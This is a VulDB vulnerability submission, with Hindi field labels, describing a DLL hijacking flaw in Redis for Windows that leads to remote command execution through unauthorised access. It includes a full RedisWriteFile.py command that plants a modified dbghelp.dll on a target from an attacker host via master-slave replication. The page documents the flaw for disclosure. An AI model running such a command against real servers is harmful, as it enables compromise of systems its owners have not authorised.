| शीर्षक | Redis On Windows DLL Hijacking Result in RCE When Unauthorized |
|---|
| विवरण | There is a dll hijacking vulnerability in the Windows version of Redis.
When Redis has unauthorized access or password disclosure, attackers can use dll writing to implement system remote command execution using the Windows version of Redis.
Use RedisWriteFile to write the modified dbghelp.dll to the designated location of the target using master slave replication.
python3 RedisWriteFile.py --rhost=192.168.41.29 --rport=6379 --lhost=192.168.41.38 --rpath="C:/Program Files/Redis/" --rfile="dbghelp.dll" --lfile="dbghelp.dll"
details can be seen on https://www.cnblogs.com/J0o1ey/p/16829380.html |
|---|
| स्रोत | ⚠️ https://www.cnblogs.com/J0o1ey/p/16829380.html |
|---|
| उपयोगकर्ता | J0o1ey (UID 30618) |
|---|
| सबमिशन | 26/10/2022 12:05 PM (4 साल पहले) |
|---|
| संयम | 28/10/2022 07:39 AM (2 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 212416 [Redis पर Windows dbghelp.dll अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|